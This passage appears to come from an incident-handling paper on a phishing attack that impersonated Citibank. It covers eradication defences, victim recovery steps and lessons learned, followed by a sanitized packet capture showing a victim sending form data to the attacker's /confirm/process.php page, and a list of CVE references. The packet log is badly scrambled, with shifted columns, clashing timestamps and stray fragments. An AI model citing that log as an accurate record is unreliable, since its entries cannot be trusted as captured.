- Laminated card of Incident handling process flowchart and a booklet of security policies

Eradication Phase

Specific to Phishing attack, there is no malicious code installed in victim’s system. There is no need to restore from backup as well, as it is up to the person’s common sense. In this attack, people are the weakest link.

In this phase, we should look on how to improve defenses. The defenses against phishing attack would involve:

1. Spam filtering, a smart and reliable spam detecting filter on mail servers. When an email is categorized as a spam and moved to Junk folder automatically, users will become more suspicious. Up until now there has not been any final solution to spam. Bayesian algorithm and email header test could identify spam.

2. Security awareness training. Awareness training can be approached with friendlier methodology for example, elearning, video presentation, or part of team-building activities. The old, hard briefing method is no longer effective for regular security awareness training to the same audience. Relating security awareness training presence with employee’s bonus will also help to motivate employees.

3. Regularly send out advisory emails and banners on corporate intranet web pages to alert users of phishing attacks.

4. Creating mini quizzers with some prizes or awards for best participant. The quizzes are about information security awareness topics.
**Recovery Phase**

What a victim should do when s/he has given his/her information to phishers?

We should now look the recovery steps\(^\text{41}\):

1. If the victim has given out his/her credit or debit card information
   - Report to card issuer as soon as possible to limit liabilities
   - Cancel account and create a new one
   - Review billing statements after the loss carefully
2. If the victim has given out his/her bank information
   - Report the theft of information to the bank at the soonest.
3. If the victim has given out his/her eBay information
   - Contact eBay. Ebay has ‘Hijacked Accounts’ link on their web page.
   - Sign-in to your account and change the password to prevent further unauthorized entry.
   - Carefully check your activity log
4. If the victim has given out Personal Identification information
   - Report to credit agencies and request your credit reports
   - Notify your banks and other financial institution that you have relationship with.
   - Make a police report
   - Notify corresponding legal authorities.

**Lessons Learned Phase**

The lesson learnt from phishing attacks are:

1. Phishing is attack to people’s common sense
2. People is the weakest link
3. Simple attack may have significant losses
4. Phishing is a very dynamic attack with many varieties
5. Phishing is applicable to corporate espionage

The follow-up that has been taken following incident reports were:

1. Understanding the importance of educating users of phishing threats
2. Increasing phishing as a higher priority incident that may affect the organization
3. Reviewing organization’s anti-spam capabilities
4. Improving coordination process to report phishing to relevant authorities
5. Consideration to join Anti-Phishing working group.
The following packet capture log has been sanitized to display only communication between victims, attacker’s web server, and legitimate Citibank web pages.

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>15:26:45.937356</td>
<td>222.223.128.32</td>
<td>TCP 5352 &gt; 80 [SYN] Seq=0 Ack=0 Win=65535 Len=0</td>
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<td></td>
</tr>
<tr>
<td>2</td>
<td>15:26:46.373319</td>
<td>222.223.128.32</td>
<td>TCP 80 &gt; 3532 [SYN, ACK] Seq=0 Ack=1 Win=8190</td>
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<td></td>
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<td>3</td>
<td>15:26:46.373399</td>
<td>222.223.128.32</td>
<td>TCP 3532 &gt; 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>15:26:46.417184</td>
<td>222.223.128.32</td>
<td>HTTP GET /confirm/ HTTP/1.0</td>
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<td></td>
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<tr>
<td>5</td>
<td>15:26:46.435685</td>
<td>222.223.128.32</td>
<td>HTTP HTTP/1.1 304 Not Modified</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>15:26:46.543451</td>
<td>222.223.128.32</td>
<td>TCP 3532 &gt; 80 [ACK] Seq=361 Ack=271 Win=65265</td>
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</tr>
<tr>
<td>7</td>
<td>15:26:46.615203</td>
<td>222.223.128.32</td>
<td>HTTP GET /confirm/ pop.php HTTP/1.0</td>
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<td>8</td>
<td>15:26:46.836067</td>
<td>222.223.128.32</td>
<td>TCP 80 &gt; 3532 [ACK] Seq=271 Ack=707 Win=7844</td>
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<td>9</td>
<td>15:26:46.958006</td>
<td>192.193.180.112</td>
<td>TCP 3532 &gt; 443 [SYN] Seq=0 Ack=0 Win=65535 Len=0</td>
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<td>10</td>
<td>15:26:47.211598</td>
<td>192.193.180.112</td>
<td>TCP 443 &gt; 3534 [SYN, ACK] Seq=0 Ack=1 Win=25776</td>
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<td></td>
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<td>11</td>
<td>15:26:47.211674</td>
<td>192.193.180.112</td>
<td>TCP 3534 &gt; 443 [ACK] Seq=1 Ack=1 Win=65535 Len=0</td>
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<td>13</td>
<td>15:26:47.453845</td>
<td>222.223.128.32</td>
<td>HTTP HTTP/1.1 200 OK (text/html)</td>
<td></td>
<td></td>
</tr>
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<td>14</td>
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<td>TCP 3532 &gt; 80 [ACK] Seq=707 Ack=3135 Win=65535</td>
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<td>15</td>
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<td>18</td>
<td>15:26:47.515875</td>
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<td>SSLv3 Continuation Data, [Unreassembled Packet]</td>
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<td>19</td>
<td>15:26:47.516798</td>
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<td>TCP 3534 &gt; 443 [ACK] Seq=73 Ack=2705 Win=65535</td>
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<td>20</td>
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<td>23</td>
<td>15:26:47.541478</td>
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<td>TCP 3532 &gt; 80 [ACK] Seq=707 Ack=3135 Win=65535</td>
<td></td>
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<tr>
<td>25</td>
<td>15:26:47.797941</td>
<td>192.193.180.112</td>
<td>TCP SSLv3 Change Cipher Spec, Encrypted Handshake</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>15:26:47.870803</td>
<td>222.223.128.32</td>
<td>TCP 3537 &gt; 80 [SYN] Seq=0 Ack=0 Win=65535 Len=0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>15:26:47.879041</td>
<td>222.223.128.32</td>
<td>TCP 80 &gt; 3537 [SYN, ACK] Seq=0 Ack=1 Win=8190</td>
<td></td>
<td></td>
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<tr>
<td>28</td>
<td>16:05:47.879789</td>
<td>222.223.128.32</td>
<td>TCP 3532 &gt; 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>16:05:47.880004</td>
<td>222.223.128.32</td>
<td>HTTP GET /images/trans.gif HTTP/1.0</td>
<td></td>
<td></td>
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<tr>
<td>30</td>
<td>16:05:47.903091</td>
<td>222.223.128.32</td>
<td>HTTP Continuation</td>
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<td>31</td>
<td>16:05:47.934583</td>
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<td>HTTP Continuation</td>
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<td>32</td>
<td>16:05:47.934865</td>
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<td>TCP HTTP Continuation</td>
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<td>34</td>
<td>15:26:47.941281</td>
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<td>TCP HTTP Continuation</td>
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<td></td>
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<tr>
<td>35</td>
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<td>36</td>
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<td>37</td>
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<td>TCP 80 &gt; 3537 [ACK] Seq=1 Ack=402 Win=65535</td>
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</tr>
<tr>
<td>38</td>
<td>15:26:48.049567</td>
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<td>SSLv3 Change Cipher Spec</td>
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</tr>
<tr>
<td>41</td>
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<td>Time</td>
<td>Sequence</td>
<td>Source Address</td>
<td>Destination Address</td>
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</tr>
<tr>
<td>----------</td>
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<tr>
<td>94</td>
<td>192.193.210.24</td>
<td>TCP</td>
<td>3543 &gt; 80 [ACK]</td>
<td>Seq=1</td>
<td>Ack=1</td>
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<tr>
<td>95</td>
<td>192.193.210.24</td>
<td>HTTP</td>
<td>GET /domain/images/mem_cgrp.gif</td>
<td>HTTP/1.0</td>
<td></td>
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<tr>
<td>96</td>
<td>192.193.210.24</td>
<td>HTTP</td>
<td>HTTP/1.1 304 Not Modified</td>
<td>TCP</td>
<td>444 &gt; 3544 [SYN, ACK] Seq=0 Ack=1 Win=25776</td>
</tr>
<tr>
<td>97</td>
<td>192.193.180.112</td>
<td>SSLv3</td>
<td>Client Hello</td>
<td>TCP</td>
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</tr>
<tr>
<td>101</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Change Cipher Spec, Encrypted Handshake</td>
<td>TCP</td>
<td>443 &gt; 3542 [ACK] Seq=1 Ack=73 Win=64460</td>
</tr>
<tr>
<td>103</td>
<td>192.193.180.112</td>
<td>SSLv3</td>
<td>Encrypted Handshake Message</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=99 Ack=25776</td>
</tr>
<tr>
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<td>192.193.180.112</td>
<td>SSLv3</td>
<td>Change Cipher Spec</td>
<td>TCP</td>
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<td>Application Data</td>
<td>TCP</td>
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<td>110</td>
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<td>SSLv3</td>
<td>Encrypted Handshake Message</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=147 Ack=105 Win=25776</td>
</tr>
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<td>111</td>
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<td>Change Cipher Spec</td>
<td>TCP</td>
<td>434 &gt; 443 [ACK] Seq=73 Ack=1433 Win=65535</td>
</tr>
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<td>112</td>
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<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=558 Ack=2250 Win=65356</td>
</tr>
<tr>
<td>113</td>
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<td>Application Data</td>
<td>TCP</td>
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<td>Application Data</td>
<td>TCP</td>
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<td>117</td>
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<td>Encrypted Handshake Message</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=147 Ack=105 Win=25776</td>
</tr>
<tr>
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<td>SSLv3</td>
<td>Change Cipher Spec</td>
<td>TCP</td>
<td>434 &gt; 443 [ACK] Seq=73 Ack=1433 Win=65535</td>
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<td>119</td>
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<td>Application Data</td>
<td>TCP</td>
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<td>120</td>
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<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
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<td>122</td>
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<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=558 Ack=2250 Win=65356</td>
</tr>
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<td>123</td>
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<td>Application Data</td>
<td>TCP</td>
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<td>Application Data</td>
<td>TCP</td>
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<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=73 Ack=1433 Win=65535</td>
</tr>
<tr>
<td>126</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=73 Ack=1433 Win=65535</td>
</tr>
<tr>
<td>127</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=73 Ack=1433 Win=65535</td>
</tr>
<tr>
<td>129</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Encrypted Handshake Message</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=147 Ack=105 Win=25776</td>
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<tr>
<td>130</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Change Cipher Spec</td>
<td>TCP</td>
<td>434 &gt; 443 [ACK] Seq=73 Ack=1433 Win=65535</td>
</tr>
<tr>
<td>131</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=558 Ack=2250 Win=65356</td>
</tr>
<tr>
<td>132</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=558 Ack=2250 Win=65356</td>
</tr>
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<td>133</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=558 Ack=2250 Win=65356</td>
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<tr>
<td>134</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=558 Ack=2250 Win=65356</td>
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<td>135</td>
<td>192.193.187.114</td>
<td>SSLv3</td>
<td>Application Data</td>
<td>TCP</td>
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<td>Encrypted Handshake Message</td>
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<td>Change Cipher Spec</td>
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<td>TCP</td>
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<td>143</td>
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<td>Encrypted Handshake Message</td>
<td>TCP</td>
<td>434 &gt; 3544 [ACK] Seq=147 Ack=105 Win=25776</td>
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145 15:26:51.058589 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1342 Ack=12424

Win=65535 Len=0
146 15:26:51.058815 10.0.0.5 192.193.195.132 TCP 3538 > 80 [SYN] Seq=0 Ack=0 Win=65535 Len=0

MSS=1460
147 15:26:51.067098 192.193.195.132 10.0.0.5 TCP 80 > 3538 [SYN, ACK] Seq=0 Ack=1 Win=8190

Len=0 MSS=1432
148 15:26:51.067142 192.193.195.132 TCP 3538 > 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0

149 15:26:51.067529 192.193.195.132 HTTP GET /juk/images/log03.gif HTTP/1.0

150 15:26:51.083477 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

151 15:26:51.087592 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

152 15:26:51.087619 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1342 Ack=15288

Win=65535 Len=0
153 15:26:51.092016 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

154 15:26:51.092416 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

155 15:26:51.096303 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

156 15:26:51.096391 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1342 Ack=18152

Win=65535 Len=0
157 15:26:51.098440 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

158 15:26:51.100987 192.193.180.112 SSLv3 Application Data, [Unreassembled Packet]

159 15:26:51.101058 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1342 Ack=20237

Win=65535 Len=0
160 15:26:51.105446 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

161 15:26:51.106581 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

162 15:26:51.106668 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1739 Ack=22359

Win=65535 Len=0
163 15:26:51.125948 10.0.0.5 192.193.195.132 TCP 3538 > 80 [ACK] Seq=419 Ack=237 Win=65299

Len=0
164 15:26:51.133223 10.0.0.5 192.193.195.132 SSLv3 Application Data

165 15:26:51.160538 192.193.180.112 SSLv3 Application Data

166 15:26:51.160957 192.193.180.112 SSLv3 Application Data

167 15:26:51.169623 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1739 Ack=25223

Win=65535 Len=0
168 15:26:51.1611831 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

169 15:26:51.1613001 192.193.180.112 SSLv3 Continuation Data, [Unreassembled Packet]

170 15:26:51.1613021 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK] Seq=1739 Ack=26904

Win=65535 Len=0
171 15:26:51.1639907 10.0.0.5 192.193.195.132 TCP 3538 > 80 [FIN, ACK] Seq=419 Ack=237

Win=65299 Len=0
173 15:26:51.643484 10.0.0.5 192.193.187.114 SSLv3 Encrypted Alert

174 15:26:51.643696 10.0.0.5 192.193.187.114 TCP 3540 > 443 [FIN, ACK] Seq=700 Ack=3561

Win=64568 Len=0

Win=65304 Len=0

Win=8190 Len=0
177 15:26:51.649241 10.0.0.5 192.193.195.132 TCP 3538 > 80 [ACK] Seq=420 Ack=238 Win=65299

Len=0

Win=8190 Len=0

Len=0
180 15:26:51.729033 10.0.0.5 64.124.83.89 TCP 3547 > 443 [SYN] Seq=0 Ack=0 Win=65535 Len=0

MSS=1460
182 15:26:51.729268 64.124.83.89 TCP 3548 > 443 [SYN] Seq=0 Ack=0 Win=65535 Len=0

MSS=1460
183 15:26:51.729459 10.0.0.5 64.124.83.89 TCP 3549 > 443 [SYN] Seq=0 Ack=0 Win=65535 Len=0

MSS=1460

Len=0


Win=25776 Len=0

Win=25776 Len=0
189 15:26:51.918988 64.124.83.89 TCP 443 > 3547 [SYN, ACK] Seq=0 Ack=1 Win=5840

Len=0 MSS=1432
190 15:26:51.919014 64.124.83.89 TCP 3547 > 443 [ACK] Seq=1 Ack=1 Win=65535 Len=0

191 15:26:51.919310 64.124.83.89 SSLv2 Client Hello
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<th>Source IP</th>
<th>Destination IP</th>
<th>Protocol</th>
<th>Data Description</th>
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<td>199 15:26:52.116633 64.124.83.89</td>
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<td>Server Hello, Certificate, Server Hello Done</td>
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<td>Client Key Exchange</td>
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<td>202 15:26:52.121385 64.124.83.89</td>
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<td>Change Cipher Spec, Encrypted Handshake</td>
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<td>227 15:26:52.829525 64.124.83.89</td>
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<td>[TCP Retransmission] Application Data,</td>
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<td>234 15:26:52.871897 64.124.83.89</td>
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<td>[TCP Previous segment lost] Continuation Data,</td>
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236 15:26:52.912819 10.0.0.5 64.124.83.89 TCP 3548 > 443 [ACK] Seq=733 Ack=1160 Win=64376

237 15:26:52.915825 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,

238 15:26:52.915870 10.0.0.5 64.124.83.89 TCP 3548 > 443 [ACK] Seq=733 Ack=2851 Win=65535

239 15:26:52.917615 10.0.0.5 64.124.83.89 SSLv3 Application Data

240 15:26:53.029938 64.124.83.89 10.0.0.5 TCP 443 > 3547 [ACK] Seq=2883 Ack=1189 Win=7504

241 15:26:53.064899 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,

242 15:26:53.064948 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 229#1] 3547 > 443 [ACK] Seq=1189

243 15:26:53.067893 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,

244 15:26:53.067937 10.0.0.5 64.124.83.89 TCP 3547 > 443 [ACK] Seq=1189 Ack=4582 Win=65535

245 15:26:53.069678 10.0.0.5 64.124.83.89 TCP 443 > 3549 [ACK] Seq=2900 Ack=1189 Win=7504

246 15:26:53.069950 10.0.0.5 64.124.83.89 SSLv3 Application Data

247 15:26:53.081581 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,

248 15:26:53.081626 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 233#1] 3549 > 443 [ACK] Seq=1189

249 15:26:53.084634 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,

250 15:26:53.084678 10.0.0.5 64.124.83.89 TCP 3549 > 443 [ACK] Seq=1189 Ack=4593 Win=65535

251 15:26:53.086477 10.0.0.5 TCP 443 > 3548 [ACK] Seq=2851 Ack=1189 Win=7504

252 15:26:53.114670 64.124.83.89 10.0.0.5 SSLv3 Application Data

253 15:26:53.139848 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,

254 15:26:53.139523 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 235#1] 3548 > 443 [ACK] Seq=1189

255 15:26:53.142511 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,

256 15:26:53.142551 10.0.0.5 64.124.83.89 TCP 3548 > 443 [ACK] Seq=1189 Ack=4570 Win=65535

257 15:26:53.144793 10.0.0.5 64.124.83.89 SSLv3 Application Data

258 15:26:53.268448 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,

259 15:26:53.284535 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 244#1] 3547 > 443 [ACK] Seq=1648

260 15:26:53.287994 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,

261 15:26:53.288058 10.0.0.5 64.124.83.89 TCP 3547 > 443 [ACK] Seq=1648 Ack=6352 Win=65535

262 15:26:53.290140 10.0.0.5 64.124.83.89 SSLv3 Application Data

263 15:26:53.346324 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,

264 15:26:53.348407 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 250#1] 3549 > 443 [ACK] Seq=1645

265 15:26:53.349624 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,

266 15:26:53.349665 10.0.0.5 64.124.83.89 TCP 3549 > 443 [ACK] Seq=1645 Ack=6304 Win=65535

267 15:26:53.351661 10.0.0.5 64.124.83.89 SSLv3 Encrypted Alert

268 15:26:53.351882 10.0.0.5 64.124.83.89 TCP 3542 > 443 [FIN, ACK] Seq=689 Ack=3173

269 15:26:53.352809 10.0.0.5 64.124.83.89 TCP 3550 > 443 [SYN] Seq=0 Ack=0 Win=65535

270 15:26:53.356694 64.124.83.89 10.0.0.5 SSLv3 Application Data

271 15:26:53.356180 64.124.83.89 10.0.0.5 SSLv3 Application Data

272 15:26:53.356209 10.0.0.5 64.124.83.89 TCP 3544 > 443 [ACK] Seq=2152 Ack=27286

273 15:26:53.357495 10.0.0.5 64.124.83.89 SSLv3 Application Data

274 15:26:53.488428 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Application Data,
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275 15:26:53:488525 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 256#1] 3548 > 443 [ACK Seq=1645
Ack=4570 Win=65535 Len=0 SLE=2376307989 SRE=2376308268
276 15:26:53:491811 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,
[Unreassembled Packet]
277 15:26:53:491935 10.0.0.5 64.124.83.89 TCP 3548 > 443 [ACK Seq=1645 Ack=6281 Win=65535
Len=0
278 15:26:53:493091 10.0.0.5 64.124.83.89 SSLv3 Encrypted Alert
279 15:26:53:494124 10.0.0.5 64.124.83.89 TCP 3547 > 443 [FIN, ACK] Seq=1671 Ack=6352
Win=65535 Len=0
280 15:26:53:495041 10.0.0.5 192.193.180.112 TCP 3551 > 443 [SYN Seq=0 Ack=0 Win=65535
Len=0
281 15:26:53:609377 192.193.180.112 10.0.0.5 TCP 443 > 3550 [SYN, ACK] Seq=0 Ack=1 Win=25776
Len=0
282 15:26:53:609457 10.0.0.5 192.193.180.112 TCP 3550 > 443 [ACK Seq=1 Ack=1 Win=65535
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283 15:26:53:609647 10.0.0.5 192.193.180.112 SSLv3 Client Hello
284 15:26:53:615156 192.193.180.112 10.0.0.5 TCP 443 > 3542 [ACK Seq=3173 Ack=690 Win=64440
Len=0
285 15:26:53:615790 192.193.180.112 10.0.0.5 TCP 443 > 3542 [FIN, ACK Seq=3173 Ack=690
Win=64440 Len=0
286 15:26:53:615829 10.0.0.5 192.193.180.112 TCP 3542 > 443 [ACK Seq=690 Ack=3174 Win=65535
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287 15:26:53:626706 192.193.180.112 10.0.0.5 SSLv3 Application Data
288 15:26:53:627337 192.193.180.112 10.0.0.5 SSLv3 Application Data
289 15:26:53:627376 10.0.0.5 192.193.180.112 TCP 3544 > 443 [ACK Seq=2565 Ack=27668
Win=84771 Len=0
290 15:26:53:628889 10.0.0.5 64.124.83.89 SSLv3 Application Data
291 15:26:53:635726 64.124.83.89 10.0.0.5 TCP 443 > 3547 [FIN, ACK Seq=6352 Ack=1671
Len=0
292 15:26:53:638325 10.0.0.5 64.124.83.89 TCP 3547 > 443 [ACK Seq=1672 Ack=6353 Win=65535
Len=0
293 15:26:53:685228 64.124.83.89 10.0.0.5 TCP 443 > 3547 [ACK Seq=6353 Ack=1672 Win=8576
Len=0
294 15:26:53:751752 192.193.180.112 10.0.0.5 TCP 443 > 3551 [SYN, ACK Seq=0 Ack=1 Win=25776
Len=0
295 15:26:53:751841 10.0.0.5 192.193.180.112 TCP 3551 > 443 [ACK Seq=1 Ack=1 Win=65535
Len=0
296 15:26:53:752265 10.0.0.5 192.193.180.112 SSLv3 Client Hello
297 15:26:53:843512 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,
[Unreassembled Packet]
298 15:26:53:843597 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 266#1] 3549 > 443 [ACK Seq=2101
Len=0
299 15:26:53:846817 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,
[Unreassembled Packet]
300 15:26:53:846856 10.0.0.5 64.124.83.89 TCP 3549 > 443 [ACK Seq=2101 Ack=8035 Win=65535
Len=0
301 15:26:53:848898 10.0.0.5 64.124.83.89 SSLv3 Application Data
302 15:26:53:865401 192.193.180.112 10.0.0.5 TCP 443 > 3550 [ACK Seq=1 Ack=99 Win=25776
Len=0
303 15:26:53:867226 192.193.180.112 10.0.0.5 SSLv3 Server Hello
304 15:26:53:869195 192.193.180.112 10.0.0.5 SSLv3 Change Cipher Spec
305 15:26:53:869208 192.193.180.112 10.0.0.5 SSLv3 Encrypted Handshake Message
306 15:26:53:869240 10.0.0.5 192.193.180.112 TCP 3550 > 443 [ACK Seq=99 Ack=147 Win=65389
Len=0
307 15:26:53:869746 10.0.0.5 192.193.180.112 SSLv3 Change Cipher Spec
308 15:26:54:011639 192.193.180.112 10.0.0.5 TCP 443 > 3551 [ACK Seq=1 Ack=99 Win=25776
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309 15:26:54:013459 192.193.180.112 10.0.0.5 SSLv3 Server Hello
310 15:26:54:013966 192.193.180.112 10.0.0.5 SSLv3 Change Cipher Spec
311 15:26:54:014010 10.0.0.5 192.193.180.112 TCP 3551 > 443 [ACK Seq=96 Ack=64540
Len=0
312 15:26:54:014625 192.193.180.112 10.0.0.5 SSLv3 Encrypted Handshake Message
313 15:26:54:014850 10.0.0.5 192.193.180.112 SSLv3 Change Cipher Spec
314 15:26:54:072319 64.124.83.89 10.0.0.5 SSLv3 [TCP Previous segment lost] Continuation Data,
[Unreassembled Packet]
315 15:26:54:072368 10.0.0.5 64.124.83.89 TCP [TCP Dup ACK 277#1] 3548 > 443 [ACK Seq=2126
Ack=6281 Win=65535 Len=0 SLE=2376309700 SRE=2376309736
316 15:26:54:075247 64.124.83.89 10.0.0.5 SSLv3 [TCP Retransmission] Application Data,
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### Handshake Messages

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### Encrypted Packets

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Leonard Ong

Exploit References

Win=25776 Len=0


418 15:27:43.819001 192.193.180.112 10.0.0.5 SSLv3 Encrypted Alert
419 15:27:43.819180 192.193.180.112 10.0.0.5 TCP 3550 > 443 [RST] Seq=1018 Ack=972 Win=0

420 15:27:43.819699 192.193.180.112 10.0.0.5 TCP 3554 > 80 [SYN] Seq=0 Ack=0 Win=65535 Len=0

421 15:27:43.832998 222.223.128.32 10.0.0.5 TCP 80 > 3554 [SYN, ACK] Seq=1 Ack=8190

422 15:27:43.833071 222.223.128.32 10.0.0.5 HTTP POST /confirm/process.php HTTP/1.0
423 15:27:43.833413 222.223.128.32 10.0.0.5 HTTP Continuation (application/x-www-form-urlencoded)
424 15:27:43.833497 222.223.128.32 10.0.0.5 TCP 80 > 3554 [ACK] Seq=1 Ack=1841 Win=6350

425 15:27:43.876748 222.223.128.32 10.0.0.5 TCP 80 > 3554 [FIN, ACK] Seq=971 Ack=995

426 15:27:43.877714 222.223.128.32 10.0.0.5 HTTP Continuation
427 15:27:44.073913 192.193.180.112 10.0.0.5 TCP 443 > 3550 [RST] Seq=971 Ack=263349849
Win=25776 Len=0

428 15:27:44.113653 222.223.128.32 10.0.0.5 TCP 80 > 3554 [ACK] Seq=1 Ack=2941 Win=5250

429 15:27:44.710590 222.223.128.32 10.0.0.5 TCP [TCP Dup ACK 428#1] 80 > 3554 [ACK] Seq=1
430 15:27:44.713153 222.223.128.32 10.0.0.5 TCP [TCP Dup ACK 428#2] 80 > 3554 [ACK] Seq=1
431 15:27:44.713657 222.223.128.32 10.0.0.5 TCP [TCP Dup ACK 428#3] 80 > 3554 [ACK] Seq=1

432 15:27:44.734246 222.223.128.32 10.0.0.5 HTTP HTTP/1.1 302 Found
433 15:27:44.734749 222.223.128.32 10.0.0.5 TCP 3554 > 80 [FIN, ACK] Seq=2941 Ack=465

HTTP/1.0

440 15:27:44.983596 222.223.128.32 10.0.0.5 TCP 80 > 3555 [ACK] Seq=1 Ack=426 Win=7765 Len=0
441 15:27:45.145400 222.223.128.32 10.0.0.5 TCP 80 > 3554 [ACK] Seq=466 Ack=2942 Win=12231

442 15:27:45.566721 222.223.128.32 10.0.0.5 TCP [TCP Dup ACK 440#1] 80 > 3555 [ACK] Seq=1
443 15:27:45.610884 222.223.128.32 10.0.0.5 HTTP HTTP/1.1 200 OK (text/html)
444 15:27:45.614604 222.223.128.32 10.0.0.5 HTTP Continuation
445 15:27:45.614684 222.223.128.32 10.0.0.5 TCP 3555 > 80 [ACK] Seq=1 Ack=65535 Len=0

446 15:27:45.626774 64.124.83.89 10.0.0.5 SSLv3 Encrypted Alert
447 15:27:45.627047 64.124.83.89 10.0.0.5 TCP 3552 > 443 [FIN, ACK] Seq=646 Ack=508

Win=65028 Len=0

448 15:27:45.627488 222.223.128.32 10.0.0.5 TCP 3556 > 80 [SYN] Seq=0 Ack=0 Win=65535 Len=0
449 15:27:45.640720 222.223.128.32 10.0.0.5 TCP 80 > 3556 [SYN, ACK] Seq=0 Ack=1 Win=8190

450 15:27:45.640793 222.223.128.32 10.0.0.5 TCP 3556 > 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0
451 15:27:45.641113 222.223.128.32 10.0.0.5 HTTP GET /images/trans.gif HTTP/1.0
452 15:27:45.778118 222.223.128.32 10.0.0.5 TCP 80 > 3556 [ACK] Seq=1 Ack=422 Win=65535

453 15:27:45.815143 64.124.83.89 10.0.0.5 TCP 443 > 3552 [FIN, ACK] Seq=508 Ack=646
454 15:27:45.815222 64.124.83.89 10.0.0.5 TCP 3552 > 443 [ACK] Seq=647 Ack=509 Win=65028

455 15:27:45.816550 64.124.83.89 10.0.0.5 TCP 443 > 3552 [ACK] Seq=509 Ack=647 Win=6432

Win=6432 Len=0

456 15:27:46.035438 222.223.128.32 10.0.0.5 HTTP Continuation
457 15:27:46.039692 222.223.128.32 10.0.0.5 HTTP Continuation

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References


2. CVE-MITRE.
   URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0526
   (21 August 2004)

3. CVE-MITRE
   URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0527
   (21 August 2004)

4. CVE-MITRE
   URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0528
   (21 August 2004)

5. CVE-MITRE
   URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0537
   (21 August 2004)

6. CVE-MITRE
   URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0512
   (21 August 2004)

7. RFC 2821

8. DomainInformer.com. Domain name growth
